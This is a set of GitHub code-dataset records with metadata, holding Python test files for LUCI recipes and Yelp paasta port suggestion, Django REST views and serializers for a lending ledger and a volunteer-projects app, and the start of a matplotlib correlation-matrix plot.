test_data_refs\n ],\n 'tags': [\n {\n 'tag': tag,\n 'registered_by': user,\n 'registered_ts': tstamp,\n }\n for tag in test_data_tags\n ],\n })\n\n def example_instances(self, package_name, limit=None,\n user='user:44-blablbla@developer.gserviceaccount.com',\n tstamp=1446574210):\n # Return two instances by default.\n limit = limit or 2\n instances =[]\n for i in range(limit):\n instance = {\n 'pin': self.make_pin(package_name, 'instance_id_%i' % (i+1)),\n 'registered_by': user,\n 'registered_ts': tstamp-i-1,\n }\n # Add \"latest\" ref to the first instance\n if i == 0:\n instance['refs'] = ['latest']\n instances.append(instance)\n return self._resultify({'instances': instances})\n", "repo_name": "luci/recipes-py", "sub_path": "recipe_modules/cipd/test_api.py", "file_name": "test_api.py", "file_ext": "py", "file_size_in_byte": 5370, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "7", "api": [{"api_name": "recipe_engine.recipe_test_api.RecipeTestApi", "line_number": 8, "usage_type": "attribute"}, {"api_name": "recipe_engine.recipe_test_api", "line_number": 8, "usage_type": "name"}, {"api_name": "api.EnsureFile", "line_number": 10, "usage_type": "name"}, {"api_name": "future.utils.iteritems", "line_number": 58, "usage_type": "call"}, {"api_name": "future.utils.iteritems", "line_number": 67, "usage_type": "call"}]} {"seq_id": "35065343493", "text": "import io\n\nimport mock\nfrom pytest import raises\n\nfrom paasta_tools.cli.fsm import autosuggest\n\n\nclass TestGetSmartstackProxyPortFromFile:\n @mock.patch(\"paasta_tools.cli.fsm.autosuggest.read_etc_services\", autospec=True)\n def test_multiple_stanzas_per_file(self, mock_read_etc_services):\n with mock.patch(\"builtins.open\", autospec=True):\n with mock.patch(\n \"paasta_tools.cli.fsm.autosuggest.yaml\", autospec=True\n ) as mock_yaml:\n mock_yaml.safe_load.return_value = {\n \"main\": {\"proxy_port\": 1},\n \"foo\": {\"proxy_port\": 2},\n }\n actual = autosuggest._get_smartstack_proxy_ports_from_file(\n \"fake_root\", \"smartstack.yaml\"\n )\n assert actual == {1, 2}\n\n\n# Shamelessly copied from TestSuggestPort\nclass TestSuggestSmartstackProxyPort:\n @mock.patch(\"paasta_tools.cli.fsm.autosuggest.read_etc_services\", autospec=True)\n def test_suggest_smartstack_proxy_port(self, mock_read_etc_services):\n yelpsoa_config_root = \"fake_yelpsoa_config_root\"\n walk_return = [\n (\"fake_root1\", \"fake_dir1\", [\"smartstack.yaml\"]),\n (\"fake_root2\", \"fake_dir2\", [\"smartstack.yaml\"]),\n (\"fake_root3\", \"fake_dir3\", [\"smartstack.yaml\"]),\n ]\n mock_walk = mock.Mock(return_value=walk_return)\n\n # See http://www.voidspace.org.uk/python/mock/examples.html#multiple-calls-with-different-effects\n get_smartstack_proxy_ports_from_file_returns = [\n {20001, 20003},\n {20002},\n {55555}, # bogus out-of-range value\n ]\n\n def get_smarstack_proxy_ports_from_file_side_effect(*args):\n return get_smartstack_proxy_ports_from_file_returns.pop(0)\n\n mock_get_smartstack_proxy_ports_from_file = mock.Mock(\n side_effect=get_smarstack_proxy_ports_from_file_side_effect\n )\n with mock.patch(\"os.walk\", mock_walk, autospec=None):\n with mock.patch(\n \"paasta_tools.cli.fsm.autosuggest._get_smartstack_proxy_ports_from_file\",\n mock_get_smartstack_proxy_ports_from_file,\n autospec=None,\n ):\n actual = autosuggest.suggest_smartstack_proxy_port(\n yelpsoa_config_root, range_min=20001, range_max=20004\n )\n # Sanity check: our mock was called once for each legit port file in\n # walk_return\n assert mock_get_smartstack_proxy_ports_from_file.call_count == 3\n\n # What we came here for: the actual output of the function under test\n assert actual == 20004 # The only available integer in [20001, 20004]\n\n @mock.patch(\"paasta_tools.cli.fsm.autosuggest.read_etc_services\", autospec=True)\n def test_suggest_smartstack_proxy_port_too_many_services(\n self, mock_read_etc_services\n ):\n \"\"\"If all the ports are taken, we should raise an error\"\"\"\n yelpsoa_config_root = \"fake_yelpsoa_config_root\"\n walk_return = [\n (\"fake_root1\", \"fake_dir1\", [\"smartstack.yaml\"]),\n (\"fake_root2\", \"fake_dir2\", [\"smartstack.yaml\"]),\n (\"fake_root3\", \"fake_dir3\", [\"smartstack.yaml\"]),\n ]\n mock_walk = mock.Mock(return_value=walk_return)\n\n # See http://www.voidspace.org.uk/python/mock/examples.html#multiple-calls-with-different-effects\n get_smartstack_proxy_ports_from_file_returns = [\n {20001, 20003},\n {20002},\n {55555}, # bogus out-of-range value\n ]\n\n def get_smarstack_proxy_ports_from_file_side_effect(*args):\n return get_smartstack_proxy_ports_from_file_returns.pop(0)\n\n mock_get_smartstack_proxy_ports_from_file = mock.Mock(\n side_effect=get_smarstack_proxy_ports_from_file_side_effect\n )\n with mock.patch(\"os.walk\", mock_walk, autospec=None):\n with mock.patch(\n \"paasta_tools.cli.fsm.autosuggest._get_smartstack_proxy_ports_from_file\",\n mock_get_smartstack_proxy_ports_from_file,\n autospec=None,\n ):\n with raises(Exception) as exc:\n autosuggest.suggest_smartstack_proxy_port(\n yelpsoa_config_root, range_min=20001, range_max=20003\n )\n assert (\n \"There are no more ports available in the range [20001, 20003]\"\n == str(exc.value)\n )\n\n\n@mock.patch(\"paasta_tools.cli.fsm.autosuggest.read_etc_services\", autospec=True)\ndef test_get_inuse_ports_from_etc_services_parses_correctly(mock_read_etc_services):\n input_services = \"\"\"\n# by IANA and used in the real-world or are needed by a debian package.\n# If you need a huge list of used numbers please install the nmap package.\n\ntcpmux\t\t1/tcp\t\t\t\t# TCP port service multiplexer\necho\t\t7/tcp\necho\t\t7/udp\ndiscard\t\t9/tcp\t\tsink null\ndiscard\t\t9/udp\t\tsink null\nsystat\t\t11/tcp\t\tusers\ndaytime\t\t13/tcp\n\"\"\"\n mock_read_etc_services.return_value = io.StringIO(input_services)\n actual = autosuggest.get_inuse_ports_from_etc_services()\n expected = {1, 7, 9, 11, 13}\n assert actual == expected\n", "repo_name": "Yelp/paasta", "sub_path": "tests/cli/fsm/test_autosuggest.py", "file_name": "test_autosuggest.py", "file_ext": "py", "file_size_in_byte": 5248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1652, "dataset": "github-code", "pt": "7", "api": [{"api_name": "mock.patch", "line_number": 12, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 13, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest._get_smartstack_proxy_ports_from_file", "line_number": 20, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest", "line_number": 20, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 10, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 36, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 48, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 51, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 52, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest.suggest_smartstack_proxy_port", "line_number": 57, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest", "line_number": 57, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 28, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 78, "usage_type": "call"}, {"api_name": "mock.Mock", "line_number": 90, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 93, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 99, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest.suggest_smartstack_proxy_port", "line_number": 100, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest", "line_number": 100, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 67, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 123, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest.get_inuse_ports_from_etc_services", "line_number": 124, "usage_type": "call"}, {"api_name": "paasta_tools.cli.fsm.autosuggest", "line_number": 124, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 109, "usage_type": "call"}]} {"seq_id": "39551825026", "text": "\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom django.contrib.auth.models import User\nfrom django.http import Http404\nfrom rest_framework import status\nfrom base.models import Transaction\nfrom .serializers import TransactionSerilizer, UserSerailizer\nfrom django.db.models import Sum\nfrom django.db.models.functions import Coalesce\nfrom django.db.models import DecimalField\nimport json\nfrom django.db import IntegrityError\n\n@api_view(['POST'])\ndef add_user(request):\n \"\"\"\n Add new user to the system\n {\"user\":\"bob\"}\n \"\"\" \n payload = request.data\n try:\n t = User(username=payload.get('user').lower())\n t.save()\n serializer = UserSerailizer(t)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n \n except IntegrityError as e: \n \n if 'unique constraint failed' in e.args[0].lower(): # or e.args[0] from Django 1.10\n return Response('User already exists', status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n except Exception as ex:\n print(ex)\n return Response(\"Bad request\", status=status.HTTP_400_BAD_REQUEST) \n\n\n@api_view(['POST'])\ndef add_transactions(request):\n # ----- YAML below for Swagger -----\n \"\"\"\n Add transaction of borroing and lending\n \n {\"lender\":\"bob\",\"borrower\":\"adam\",\"amount\":5.25, \"expiration\":\"2022-11-10\"}\n \"\"\" \n \n payload = request.data\n borrower = request.data.get('borrower')\n lender = request.data.get('lender')\n amount = float(request.data.get('amount'))\n expiration = request.data.get('expiration') \n borrower_obj = User.objects.filter(username=borrower)[0]\n lender_obj = User.objects.filter(username=lender)[0]\n \n try:\n t = Transaction(borrower=borrower_obj, lender=lender_obj, amount= amount, expiry=expiration)\n t.save()\n serializer = TransactionSerilizer(t)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n \n\n \n except Exception as ex:\n print(ex)\n return Response('Unknown Error Occured', status=status.HTTP_400_BAD_REQUEST)\n \n\n@api_view(['GET'])\ndef settle_up(request):\n # ----- YAML below for Swagger -----\n \"\"\"\n Fetch transaction details of the users who borrowed or lending details\n \n {\"lender\":\"bob\",\"borrower\":\"adam\",\"amount\":5.25, \"expiration\":\"2022-11-10\"}\n \"\"\" \n try:\n payload = json.loads(request.query_params.get('payload'))\n\n \n # ToDo: Following section can be improvide in better way\n # Fetch users from db as per requested list \n users = User.objects.filter(username__in=[ user.lower() for user in payload.get(\"users\")]).order_by('username')\n\n # Compute how many amount is owes the user \n owes = [ { \"name\": user.username.title(), \"owes\": {User.objects.get(pk=lender.get('lender')).username: lender.get('amount') \\\n for lender in \\\n Transaction.objects.filter(borrower__username=user.username).values( 'lender').annotate(amount=Sum('amount'))} } \\\n for user in users ]\n \n # Compute how many amount is owed_by the user \n owedby = [ { \"name\": user.username.title(), \"owed_by\": { User.objects.get(pk=borrower.get('borrower')).username: borrower.get('amount') \\\n for borrower in Transaction.objects.filter(lender__username=user.username).values( 'borrower').annotate(amount=Sum('amount'))} } \\\n for user in users ]\n \n \n # Balaance calculation \n balance_owes = [ Transaction.objects.filter(borrower__username=user.username).aggregate(balance_owes=Coalesce(Sum('amount'), 0.0, output_field=DecimalField())) for user in users]\n balance_owedby = [ Transaction.objects.filter(lender__username=user.username).aggregate(balance_owedby=Coalesce(Sum('amount'), 0.0, output_field=DecimalField())) for user in users]\n balance = [ {'balance':item[1].get('balance_owedby') - item[0].get('balance_owes')} for item in list(zip( balance_owes, balance_owedby))]\n \n \n # Merging for final results\n results = [ {**owed, **owedby, **balance} for owed, owedby, balance in list(zip(owes,owedby,balance))]\n\n return Response(results, status=status.HTTP_201_CREATED)\n \n except ValueError as ex:\n print(ex)\n return Response(\"Bad incoming request\", status=status.HTTP_400_BAD_REQUEST)\n \n except Exception as ex:\n print(ex)\n return Response(\"Unkown error occured\", status=status.HTTP_400_BAD_REQUEST)\n \n\n", "repo_name": "sushilkjaiswar/ioyou", "sub_path": "base/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4752, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.contrib.auth.models.User", "line_number": 23, "usage_type": "call"}, {"api_name": "serializers.UserSerailizer", "line_number": 25, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 26, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.IntegrityError", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 31, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_422_UNPROCESSABLE_ENTITY", "line_number": 31, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 31, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 35, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 35, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 52, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 52, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 53, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 53, "usage_type": "name"}, {"api_name": "base.models.Transaction", "line_number": 56, "usage_type": "call"}, {"api_name": "serializers.TransactionSerilizer", "line_number": 58, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 59, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 65, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 65, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 65, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 38, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 82, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 82, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 85, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 85, "usage_type": "name"}, {"api_name": "base.models.Transaction.objects.filter", "line_number": 87, "usage_type": "call"}, {"api_name": "base.models.Transaction.objects", "line_number": 87, "usage_type": "attribute"}, {"api_name": "base.models.Transaction", "line_number": 87, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 87, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 91, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 91, "usage_type": "name"}, {"api_name": "base.models.Transaction.objects.filter", "line_number": 92, "usage_type": "call"}, {"api_name": "base.models.Transaction.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "base.models.Transaction", "line_number": 92, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 92, "usage_type": "call"}, {"api_name": "base.models.Transaction.objects.filter", "line_number": 97, "usage_type": "call"}, {"api_name": "base.models.Transaction.objects", "line_number": 97, "usage_type": "attribute"}, {"api_name": "base.models.Transaction", "line_number": 97, "usage_type": "name"}, {"api_name": "django.db.models.functions.Coalesce", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models.Sum", "line_number": 97, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 97, "usage_type": "call"}, {"api_name": "base.models.Transaction.objects.filter", "line_number": 98, "usage_type": "call"}, {"api_name": "base.models.Transaction.objects", "line_number": 98, "usage_type": "attribute"}, {"api_name": "base.models.Transaction", "line_number": 98, "usage_type": "name"}, {"api_name": "django.db.models.functions.Coalesce", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models.Sum", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 105, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 105, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 105, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 109, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 109, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 109, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 113, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 113, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 113, "usage_type": "name"}, {"api_name": "rest_framework.decorators.api_view", "line_number": 68, "usage_type": "call"}]} {"seq_id": "25349364778", "text": "from rest_framework import serializers\n\nfrom projects.models import (\n Project,\n ProjectVolunteers,\n ProjectVolunteersRegistration,\n ProjectAttendees,\n ProjectAttendeesRegistration,\n ProjectDiscussion,\n ProjectAnswerDiscussion,\n ProjectHub,\n)\n\n\nclass ProjectVolunteersRegistrationSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = ProjectVolunteersRegistration\n fields = ('url', 'profile', 'project_volunteers', 'project_volunteers_ref')\n\n def create(self, validated_data):\n project_volunteers = ProjectVolunteers.objects.get(pk=validated_data['project_volunteers_ref'])\n registration = ProjectVolunteersRegistration.objects.create(\n project_volunteers=project_volunteers,\n **validated_data\n )\n count = ProjectVolunteersRegistration.objects.filter(\n project_volunteers=project_volunteers\n ).count()\n project_volunteers.registered = count\n project_volunteers.save()\n return registration\n\n\nclass ProjectVolunteersSerializer(serializers.HyperlinkedModelSerializer):\n volunteers_registration = ProjectVolunteersRegistrationSerializer(many=True, read_only=True)\n\n class Meta:\n model = ProjectVolunteers\n fields = (\n 'url',\n 'id',\n 'project',\n 'role',\n 'description',\n 'seats',\n 'registered',\n 'minimum_registration',\n 'volunteers_registration',\n )\n read_only_fields = ('registered', 'project', 'id')\n\n\nclass ProjectAttendeesRegistrationSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = ProjectAttendeesRegistration\n fields = ('url', 'profile', 'project_attendees', 'project_attendees_ref')\n\n def create(self, validated_data):\n project_attendees = ProjectAttendees.objects.get(pk=validated_data['project_attendees_ref'])\n registration = ProjectAttendeesRegistration.objects.create(project_attendees=project_attendees, **validated_data)\n count = ProjectAttendeesRegistration.objects.filter(project_attendees=project_attendees).count()\n project_attendees.registered = count\n project_attendees.save()\n return registration\n\n\nclass ProjectAttendeesSerializer(serializers.HyperlinkedModelSerializer):\n attendees_registration = ProjectAttendeesRegistrationSerializer(many=True, read_only=True)\n\n class Meta:\n model = ProjectAttendees\n fields = (\n 'url',\n 'id',\n 'project',\n 'seats',\n 'registered',\n 'attendees_registration',\n 'minimum_registration',\n )\n read_only_fields = ('registered', 'project',)\n\n\nclass ProjectAnswerDiscussionSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = ProjectAnswerDiscussion\n fields = ('url', 'id', 'discussion_ref', 'discussion', 'text', 'profile', 'created', 'updated')\n read_only_fields = ('discussion', 'profile')\n\n def create(self, validated_data):\n project_discussion = ProjectDiscussion.objects.get(pk=validated_data['discussion_ref'])\n answer = ProjectAnswerDiscussion.objects.create(discussion=project_discussion, **validated_data)\n return answer\n\n\nclass ProjectDiscussionSerializer(serializers.HyperlinkedModelSerializer):\n answer_discussion_project = ProjectAnswerDiscussionSerializer(many=True, read_only=True)\n\n class Meta:\n model = ProjectDiscussion\n fields = (\n 'url',\n 'id',\n 'project',\n 'project_ref',\n 'title',\n 'text',\n 'profile',\n 'created',\n 'updated',\n 'answer_discussion_project',\n )\n read_only_fields = ('profile', 'project', 'id')\n\n def create(self, validated_data):\n project = Project.objects.get(pk=validated_data['project_ref'])\n new_discussion = ProjectDiscussion.objects.create(project=project, **validated_data)\n return new_discussion\n\n\nclass ProjectSerializer(serializers.HyperlinkedModelSerializer):\n attendees = ProjectAttendeesSerializer()\n volunteers = ProjectVolunteersSerializer(many=True)\n discussion_project = ProjectDiscussionSerializer(many=True, read_only=True)\n ### cause of the error : \n #serializers.HyperlinkedRelatedField(\n # many=True,\n # view_name='discussion_project',\n # read_only=True\n #)\n\n class Meta:\n model = Project\n fields = ('url', 'id', 'name', 'start',\n 'end', 'description', 'category',\n 'sub_category', 'oth_category', 'oth_sub_cat','place_name', 'number', 'street',\n 'postal_code', 'city', 'organizer', 'created',\n 'updated', 'project_type', 'attendees',\n 'volunteers', 'discussion_project')\n read_only_fields = ('organizer', 'id')\n\n def create(self, validated_data):\n attendees_data = validated_data.pop('attendees')\n volunteers_data = validated_data.pop('volunteers')\n new_project = Project.objects.create(**validated_data)\n if validated_data['project_type'] == 'CO':\n ProjectAttendees.objects.create(project=new_project, **attendees_data)\n elif validated_data['project_type'] == 'CP':\n for volunteer_data in volunteers_data:\n ProjectVolunteers.objects.create(project=new_project, **volunteer_data)\n else:\n ProjectAttendees.objects.create(project=new_project, **attendees_data)\n for volunteer_data in volunteers_data:\n ProjectVolunteers.objects.create(project=new_project, **volunteer_data)\n return new_project\n\n\nclass ProjectShortSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Project\n fields = ('url', 'id', 'name', 'start', 'created', 'updated',)\n\n\nclass ProjectHubSerializer(serializers.HyperlinkedModelSerializer):\n project = ProjectSerializer()\n\n class Meta:\n model = ProjectHub\n fields = ('project', 'distance_km', 'lat', 'lng')\n", "repo_name": "joatuapp/joatu-django", "sub_path": "rest_api/projects/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 6180, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 15, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 15, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteersRegistration", "line_number": 17, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteers.objects.get", "line_number": 21, "usage_type": "call"}, {"api_name": "projects.models.ProjectVolunteers.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectVolunteers", "line_number": 21, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteersRegistration.objects.create", "line_number": 22, "usage_type": "call"}, {"api_name": "projects.models.ProjectVolunteersRegistration.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectVolunteersRegistration", "line_number": 22, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteersRegistration.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "projects.models.ProjectVolunteersRegistration.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectVolunteersRegistration", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 34, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteers", "line_number": 38, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 53, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 53, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendeesRegistration", "line_number": 55, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendees.objects.get", "line_number": 59, "usage_type": "call"}, {"api_name": "projects.models.ProjectAttendees.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectAttendees", "line_number": 59, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendeesRegistration.objects.create", "line_number": 60, "usage_type": "call"}, {"api_name": "projects.models.ProjectAttendeesRegistration.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectAttendeesRegistration", "line_number": 60, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendeesRegistration.objects.filter", "line_number": 61, "usage_type": "call"}, {"api_name": "projects.models.ProjectAttendeesRegistration.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectAttendeesRegistration", "line_number": 61, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 67, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 67, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendees", "line_number": 71, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 84, "usage_type": "name"}, {"api_name": "projects.models.ProjectAnswerDiscussion", "line_number": 86, "usage_type": "name"}, {"api_name": "projects.models.ProjectDiscussion.objects.get", "line_number": 91, "usage_type": "call"}, {"api_name": "projects.models.ProjectDiscussion.objects", "line_number": 91, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectDiscussion", "line_number": 91, "usage_type": "name"}, {"api_name": "projects.models.ProjectAnswerDiscussion.objects.create", "line_number": 92, "usage_type": "call"}, {"api_name": "projects.models.ProjectAnswerDiscussion.objects", "line_number": 92, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectAnswerDiscussion", "line_number": 92, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 96, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 96, "usage_type": "name"}, {"api_name": "projects.models.ProjectDiscussion", "line_number": 100, "usage_type": "name"}, {"api_name": "projects.models.Project.objects.get", "line_number": 116, "usage_type": "call"}, {"api_name": "projects.models.Project.objects", "line_number": 116, "usage_type": "attribute"}, {"api_name": "projects.models.Project", "line_number": 116, "usage_type": "name"}, {"api_name": "projects.models.ProjectDiscussion.objects.create", "line_number": 117, "usage_type": "call"}, {"api_name": "projects.models.ProjectDiscussion.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectDiscussion", "line_number": 117, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 121, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 121, "usage_type": "name"}, {"api_name": "projects.models.Project", "line_number": 133, "usage_type": "name"}, {"api_name": "projects.models.Project.objects.create", "line_number": 145, "usage_type": "call"}, {"api_name": "projects.models.Project.objects", "line_number": 145, "usage_type": "attribute"}, {"api_name": "projects.models.Project", "line_number": 145, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendees.objects.create", "line_number": 147, "usage_type": "call"}, {"api_name": "projects.models.ProjectAttendees.objects", "line_number": 147, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectAttendees", "line_number": 147, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteers.objects.create", "line_number": 150, "usage_type": "call"}, {"api_name": "projects.models.ProjectVolunteers.objects", "line_number": 150, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectVolunteers", "line_number": 150, "usage_type": "name"}, {"api_name": "projects.models.ProjectAttendees.objects.create", "line_number": 152, "usage_type": "call"}, {"api_name": "projects.models.ProjectAttendees.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectAttendees", "line_number": 152, "usage_type": "name"}, {"api_name": "projects.models.ProjectVolunteers.objects.create", "line_number": 154, "usage_type": "call"}, {"api_name": "projects.models.ProjectVolunteers.objects", "line_number": 154, "usage_type": "attribute"}, {"api_name": "projects.models.ProjectVolunteers", "line_number": 154, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 158, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 158, "usage_type": "name"}, {"api_name": "projects.models.Project", "line_number": 160, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 164, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 164, "usage_type": "name"}, {"api_name": "projects.models.ProjectHub", "line_number": 168, "usage_type": "name"}]} {"seq_id": "30727105116", "text": "#!/usr/bin/env python\n\nimport numpy as np\nimport pandas as pd\nfrom pandas.plotting import scatter_matrix\nimport os, sys\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nfrom matplotlib import cm as cm\n\ndef plot_corr_mat(df):\n labels=list(df)\n labels.remove('Weight')\n labels.remove('y')\n\n corr_matrix = df[labels].corr()\n \n jump_x = corr_matrix.shape[0]*1.0/len(labels)\n jump_y = corr_matrix.shape[1]*1.0/len(labels)\n fig = plt.figure(figsize=(10,10))\n ax1 = fig.add_subplot(111)\n cmap = cm.get_cmap('jet', 30)\n cax = ax1.imshow(corr_matrix, \n interpolation=\"nearest\", \n cmap=cmap)\n ax1.set_xticklabels(labels,fontsize=16, rotation='vertical')\n ax1.set_yticklabels(labels,fontsize=16)\n ax1.set_xticks(np.arange(0,corr_matrix.shape[0], jump_x))\n ax1.set_yticks(np.arange(0,corr_matrix.shape[1], jump_y))\n ax1.tick_params('both', length=0, width=0, which='major')\n ax1.tick_params('both', length=0, width=0, which='minor')\n ax1.set_aspect('auto')\n 